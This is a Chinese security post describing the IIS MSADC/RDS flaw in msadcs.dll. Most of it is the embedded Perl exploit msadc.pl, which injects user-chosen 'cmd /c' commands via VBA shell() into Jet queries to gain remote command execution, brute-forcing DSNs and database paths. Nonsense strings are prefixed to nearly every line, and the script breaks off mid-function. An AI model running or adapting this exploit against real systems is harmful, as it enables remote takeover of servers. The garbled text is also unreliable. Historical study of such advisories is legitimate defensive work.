IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
j9xXKa5 ;3UvkN 涉及程序:
3; y_mg Microsoft NT server
E@pFTvo F=i!d,S 描述:
NI\H
\#bJ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
h{/ve`F>@ /=ylQn3
* 详细:
d_T<5Hin 如果你没有时间读详细内容的话,就删除:
f)^t') c:\Program Files\Common Files\System\Msadc\msadcs.dll
"Ot{^_e 有关的安全问题就没有了。
M(5D'4. /{we;Ut=g 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
/*P7<5n0 -f.R#J$2 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.Cr1,Po 关于利用ODBC远程漏洞的描述,请参看:
@?/\c:cp DV,DB\P$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm N84qcc {^wdJZ~QLK 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
rfTe http://www.microsoft.com/security/bulletins/MS99-025faq.asp RbAt3k;y J wFned#T 这里不再论述。
S'@=3) ND*]gM 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Wp4K6x *w 21U! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|EeBSRAfe 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
o7arxo\ @dV9Dpu sVoR?peQ #将下面这段保存为txt文件,然后: "perl -x 文件名"
:;TYL[ (nz}J)T& #!perl
:c<*%*e #
~B]jV$= # MSADC/RDS 'usage' (aka exploit) script
~04[KG #
V{$Sfmey # by rain.forest.puppy
czS7-Hh@ #
N 8}lt # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
d h?dO` # beta test and find errors!
kW(Kh0x %~\ use Socket; use Getopt::Std;
M5u_2;3 getopts("e:vd:h:XR", \%args);
_n_sfT6)B |."G ?* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8m7;x/0ld LE|<O if (!defined $args{h} && !defined $args{R}) {
>13/h]3 print qq~
l0#4Fma Usage: msadc.pl -h <host> { -d <delay> -X -v }
eP?~-# -h <host> = host you want to scan (ip or domain)
yM|g|;U -d <seconds> = delay between calls, default 1 second
Nm"<!a<F -X = dump Index Server path table, if available
{? 2;0}3?; -v = verbose
d<v~= -e = external dictionary file for step 5
j%5a+(H,z; x~Cz?ljbn Or a -R will resume a command session
HTN$ >QTI 3W'FcE)|E ~; exit;}
ol#yjrv 4Pf+]R $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
B~rU1Y) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
raF]
k0{ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
@Wz%KdXA if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+9_ ,w bF $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'$*[SauAG if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
D&f!( n %r P ! if (!defined $args{R}){ $ret = &has_msadc;
S;h&5.p die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
x97H(* wo]ks}9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
oX*b<d{\N . "cmd /c ";
Y2D>tpqNw $in=<STDIN>; chomp $in;
_G[6+g5| $command="cmd /c " . $in ;
`~h0?g ;L$,gn5H if (defined $args{R}) {&load; exit;}
d.I%k1`( g41<8^( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#@q1Ko!NZ &try_btcustmr;
1~L\s}|2d 5f{wJb2 print "\nStep 2: Trying to make our own DSN...";
FR(QFt!g &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
w_!%'9m> 2$Wo&Q^_ print "\nStep 3: Trying known DSNs...";
Onyh1 &known_dsn;
n5\}KZh w-M7opkq print "\nStep 4: Trying known .mdbs...";
J7Sx!PQ &known_mdb;
vuW-}fY; JeL~]F if (defined $args{e}){
18rp;
l{ print "\nStep 5: Trying dictionary of DSN names...";
tbS#^Y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
jVs(x
X]MTaD.t print "Sorry Charley...maybe next time?\n";
df yrn%^Ia exit;
#XfT1 Yq{jEatY{/ ##############################################################################
&rcdr+' s4N,^_j sub sendraw { # ripped and modded from whisker
2=O))^8 sleep($delay); # it's a DoS on the server! At least on mine...
{F/q{c~] my ($pstr)=@_;
\ JG
#m socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<ipWMZae0F die("Socket problems\n");
9LHa&"" if(connect(S,pack "SnA4x8",2,80,$target)){
r;$r=Uf r select(S); $|=1;
\D ^7Z97 print $pstr; my @in=<S>;
eq{
[?/ select(STDOUT); close(S);
N|o>%)R return @in;
;)P5#S!n- } else { die("Can't connect...\n"); }}
=CE HRny JC/d:. ##############################################################################
i!tc y{?Kao7Ij sub make_header { # make the HTTP request
w~p4S+k& my $msadc=<<EOT
X4Lsvvz%@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
yj'Cy8 User-Agent: ACTIVEDATA
z41D^}b Host: $ip
C!hXEtK Content-Length: $clen
^SgN(-QH Connection: Keep-Alive
X&/(x VYHOk3 ADCClientVersion:01.06
ZrA
Um Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8z?$t-D O mcCB7<.
e --!ADM!ROX!YOUR!WORLD!
w gmWo8 Content-Type: application/x-varg
yX`J7O{= Content-Length: $reqlen
eXc[3ceUr 5R)[Ou. EOT
f^~2^p
1te ; $msadc=~s/\n/\r\n/g;
3|jn,?K)N return $msadc;}
@}ZGY^ + 2OZJVJ ##############################################################################
{({
R: !c !eV^Ah>PZ sub make_req { # make the RDS request
Zi
ma^IL my ($switch, $p1, $p2)=@_;
4bE42c=Ca7 my $req=""; my $t1, $t2, $query, $dsn;
]bf' 7bHE!#L`0 if ($switch==1){ # this is the btcustmr.mdb query
=%xIjxYl $query="Select * from Customers where City=" . make_shell();
ta@ISRK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&&ja|o- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
f]hBPkZ6 5VuCU elsif ($switch==2){ # this is general make table query
B5D3_iX] $query="create table AZZ (B int, C varchar(10))";
9#ZzE/ $dsn="$p1";}
:J<Owh@
8 qn{ elsif ($switch==3){ # this is general exploit table query
g~eJ
YS, $query="select * from AZZ where C=" . make_shell();
%s]U@Ku(a $dsn="$p1";}
dP?nP(l *q+oeAYX elsif ($switch==4){ # attempt to hork file info from index server
Ct-rD79l $query="select path from scope()";
N!]PIWnC $dsn="Provider=MSIDXS;";}
hZ%2?v` ]Qh[%GD elsif ($switch==5){ # bad query
$3lt{ % $query="select";
t$tsWAmiA[ $dsn="$p1";}
'
l|41wxk dvC0 <*V $t1= make_unicode($query);
ex{)mE4Cd $t2= make_unicode($dsn);
b!0'Qidh0 $req = "\x02\x00\x03\x00";
}#1UD $req.= "\x08\x00" . pack ("S1", length($t1));
er#8D6* $req.= "\x00\x00" . $t1 ;
kx:c*3q.k $req.= "\x08\x00" . pack ("S1", length($t2));
S_a :ML< $req.= "\x00\x00" . $t2 ;
8moUK3w $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?0? x+ return $req;}
l#
}As.o} :P HUsy ##############################################################################
`^?}s-H+ nZ" {y sub make_shell { # this makes the shell() statement
y?[5jL|Ue return "'|shell(\"$command\")|'";}
pM1=UF od;Bb ##############################################################################
d&O'r[S #($k 3OA sub make_unicode { # quick little function to convert to unicode
?T tQZ my ($in)=@_; my $out;
dl7Riw-J for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Q]yV:7 return $out;}
L[`R8n1C SJso'6 g ##############################################################################
#FrwfJOV 5cPSv?x^F@ sub rdo_success { # checks for RDO return success (this is kludge)
Pn~pej5'K my (@in) = @_; my $base=content_start(@in);
8XLxT(YFIs if($in[$base]=~/multipart\/mixed/){
Y:DNu9 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ry3+/] return 0;}
ORUWslMt F<6KaZ| ##############################################################################
#|)JD@;Q t-3v1cv" sub make_dsn { # this makes a DSN for us
yg]suU<z] my @drives=("c","d","e","f");
53g8T+`\( print "\nMaking DSN: ";
>xhd[ foreach $drive (@drives) {
dt`9RB$ print "$drive: ";
\]tq7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<1;,B%_^ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
MzBfHt'Rk . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9^6|ta0;0 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
GN"M:L^k` return 0 if $2 eq "404"; # not found/doesn't exist
6ON if($2 eq "200") {
Z"teZ0H foreach $line (@results) {
o[5=S,' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@2x0V]AI } return 0;}
=NVZ$K OZ fvAh?<Ul ##############################################################################
[lDt0l5^ M="WUe_ sub verify_exists {
>
gA %MT my ($page)=@_;
)R
[@G. my @results=sendraw("GET $page HTTP/1.0\n\n");
q/W{PBb-2k return $results[0];}
xiOv$.@q |G`4"``]k ##############################################################################
*7:u-}c! [TiTff&LV sub try_btcustmr {
w>H%[\Qs my @drives=("c","d","e","f");
/K2.V@T my @dirs=("winnt","winnt35","winnt351","win","windows");
;o~+2Fir ~frPV8^DP foreach $dir (@dirs) {
23B^g print "$dir -> "; # fun status so you can see progress
.N2nJ/ foreach $drive (@drives) {
~:P8g<w
print "$drive: "; # ditto
>oM9~7f $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=]5DYRhX] $reqlenlen=length( "$reqlen" );
y]~+ `9 $clen= 206 + $reqlenlen + $reqlen;
w@gl `? 9]' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Z9;nC zHm if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
qd#(`%_/ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
]yj4~_&O #Tgz,e9 ##############################################################################
X:xC>4]gG' D7gX,e sub odbc_error {
cEh0Vh-] my (@in)=@_; my $base;
.,d$%lN my $base = content_start(@in);
^a:vJ)WB7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
o2 T/IJP $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7Ap~7)z[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XNkQk0i;g& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(dO'_s&M]/ return $in[$base+4].$in[$base+5].$in[$base+6];}
)<]w23i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
q>(I*=7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
8JjU 9# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^t/'dfF `a/PIc" ##############################################################################
ZF/J/;uI 7YQK@lS sub verbose {
T}b(
M*E my ($in)=@_;
:?&WKW return if !$verbose;
PJSDY1T print STDOUT "\n$in\n";}
QYf/tQg$ Eezlx9b ##############################################################################
$Z(g=nS> )\I? EU8 sub save {
r0hta)xa my ($p1, $p2, $p3, $p4)=@_;
Je4.9?Ch open(OUT, ">rds.save") || print "Problem saving parameters...\n";
b.%B;qB print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@kCD. close OUT;}
.JD4gF2N mER8>
< ##############################################################################
P"~qio- _($-dJ{ sub load {
&"r==A? my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j-C42Pfr open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]`/R("l[ @p=<IN>; close(IN);
b*6c.o $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
0Z1H6qn $target= inet_aton($ip) || die("inet_aton problems");
^NnU gj print "Resuming to $ip ...";
nY"rqILX? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
c=jI.=mi3 if($p[1]==1) {
~Hyyq- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vhE}{ED $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
p0y0T|H^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
M|Lw`?T if (rdo_success(@results)){print "Success!\n";}
upEPv
.h else { print "failed\n"; verbose(odbc_error(@results));}}
'7O{*=`oj elsif ($p[1]==3){
WV!kA_ if(run_query("$p[3]")){
s:m<(8WRw print "Success!\n";} else { print "failed\n"; }}
tsSS31cv elsif ($p[1]==4){
eN2k8= if(run_query($drvst . "$p[3]")){
UVoLHd print "Success!\n"; } else { print "failed\n"; }}
kb}]sj exit;}
Fl 'xmz^ #by9D&QP] ##############################################################################
W:+2We @ oX:1 qJrC sub create_table {
ZimMjZ%4 my ($in)=@_;
u=v%7c2Mx} $reqlen=length( make_req(2,$in,"") ) - 28;
qeK $reqlenlen=length( "$reqlen" );
H>X>5_{} $clen= 206 + $reqlenlen + $reqlen;
Z.Y;[Y
my @results=sendraw(make_header() . make_req(2,$in,""));
qqom$H< return 1 if rdo_success(@results);
"ZJ1`R=Mj my $temp= odbc_error(@results); verbose($temp);
J:mu%N` return 1 if $temp=~/Table 'AZZ' already exists/;
hiK[!9r return 0;}
1VyO?KX' EkB6- nz ##############################################################################
`S/1U87 eM1;Nl sub known_dsn {
OL
]T+6X # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)zL"r8si my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`9Q,=D+ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\Zz= 4
j "banner", "banners", "ads", "ADCDemo", "ADCTest");
M5ySs\O4 lA
Ck$E foreach $dSn (@dsns) {
!>kv.`|7~ print ".";
Zh~Lm next if (!is_access("DSN=$dSn"));
:86luLFm if(create_table("DSN=$dSn")){
&"j).Ogm4 print "$dSn successful\n";
B,m$ur#$ if(run_query("DSN=$dSn")){
}2!5#/^~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}^Ua print "Something's borked. Use verbose next time\n";}}} print "\n";}
<{z3p:\ Lugk`NUvF ##############################################################################
Eztz~oFo Q3'B$,3O^ sub is_access {
M;TfD my ($in)=@_;
(.XDf3 $reqlen=length( make_req(5,$in,"") ) - 28;
tm36Lw $reqlenlen=length( "$reqlen" );
!K^Z5A_; $clen= 206 + $reqlenlen + $reqlen;
"/K&qj my @results=sendraw(make_header() . make_req(5,$in,""));
w<F;&';@h my $temp= odbc_error(@results);
)zLS,/pk^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
6<Pg>Bg return 0;}
+ x;ML 5N3!!FFE ##############################################################################
vL=--# ";Ig%] sub run_query {
#ZnX6=;X my ($in)=@_;
xV 1Z&l $reqlen=length( make_req(3,$in,"") ) - 28;
3_eml\CY $reqlenlen=length( "$reqlen" );
?o(X0 $clen= 206 + $reqlenlen + $reqlen;
b\Xu1> my @results=sendraw(make_header() . make_req(3,$in,""));
+_XbHjhN/ return 1 if rdo_success(@results);
*ZSp9g"Z my $temp= odbc_error(@results); verbose($temp);
u+tb83~[= return 0;}
uSQ>oi] :mtw}H 'F8 ##############################################################################
w KMk|y> y[5P<:&s sub known_mdb {
7pI\`*7b my @drives=("c","d","e","f","g");
F+y`4>x my @dirs=("winnt","winnt35","winnt351","win","windows");
-x%`Wv@L my $dir, $drive, $mdb;
}v$=mLy my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
eN?P) , UE#Ni 5 # this is sparse, because I don't know of many
aaD$'Y,<>B my @sysmdbs=( "\\catroot\\icatalog.mdb",
JQh s=Xg "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
U!I_i*:U "\\system32\\certmdb.mdb",
{LJ6't 8y: "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\gzwsT2& Rd1ku= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
hy&Hl "\\cfusion\\cfapps\\forums\\forums_.mdb",
[Fj#7VZK "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>8fz ?A "\\cfusion\\cfapps\\security\\realm_.mdb",
L9YwOSb. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
@G$<6CG\ "\\cfusion\\database\\cfexamples.mdb",
QKaj4?p$|S "\\cfusion\\database\\cfsnippets.mdb",
ut5!2t$c "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
v0MOX>`s "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%FI6\|`M "\\cfusion\\brighttiger\\database\\cleam.mdb",
1 l*(8!_ "\\cfusion\\database\\smpolicy.mdb",
@)'@LF1Z "\\cfusion\\database\cypress.mdb",
F)iGD~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
nIDsCu=A "\\website\\cgi-win\\dbsample.mdb",
_NqT8C4C "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
*_K-T# "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
GuY5 %wr ); #these are just
<w2NJ~M^ foreach $drive (@drives) {
6.7Kp foreach $dir (@dirs){
|{LaZXU & foreach $mdb (@sysmdbs) {
Y&